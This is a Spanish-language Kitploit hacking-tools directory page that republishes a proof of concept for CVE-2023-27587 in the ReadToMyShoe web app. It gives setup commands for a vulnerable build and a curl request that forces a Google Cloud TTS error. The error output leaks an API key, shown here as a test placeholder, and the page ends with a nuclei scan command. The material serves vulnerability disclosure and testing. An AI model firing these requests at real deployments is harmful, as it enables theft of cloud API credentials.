Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-27587-PoC — El PoC simple de CVE-2023-27587 | Kitploit
Herramientas/GitHubGitHub/vagnerd/cve-2023-27587-poc
Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebDetección de SecretosSeguridad de APIs
GitHubvagnerd/cve-2023-27587-poc

CVE-2023-27587-PoC

El PoC simple de CVE-2023-27587

Ver Repositorio
51hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-27587-PoC

El PoC simple de CVE-2023-27587

¿Qué es ReadToMyShoe?

ReadtoMyShoe (RTMS) es una aplicación web (rust, yew y axum) que permite subir artículos (mediante URL o pegándolos directamente) y escucharlos más tarde.

Impacto

Si se produce un error al añadir un artículo, el sitio web muestra al usuario un mensaje de error. Si el error se origina en la solicitud de Google Cloud TTS, el mensaje incluirá la URL completa de la solicitud. La URL de la solicitud contiene la clave de API de Google Cloud.

PoC

Configurar ReadtoMyShoe vulnerable

root@kitploit:~
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul

Exploit

¡La clave solo se expone cuando se produce un error en la llamada a GCP!

root@kitploit:~
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'content-type: application/json' \
  --data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'

Error de respuesta (clave de API expuesta):

root@kitploit:~
TTS failed: TTS request failed

Caused by:
    HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

Captura de pantalla del 2023-03-15 13-03-59

plantilla de nuclei

https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-27587.yaml

root@kitploit:~
$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>

Captura de pantalla del 2023-03-15 13-22-23

Referencias

https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587

https://beta.readtomyshoe.com/

Descargar herramienta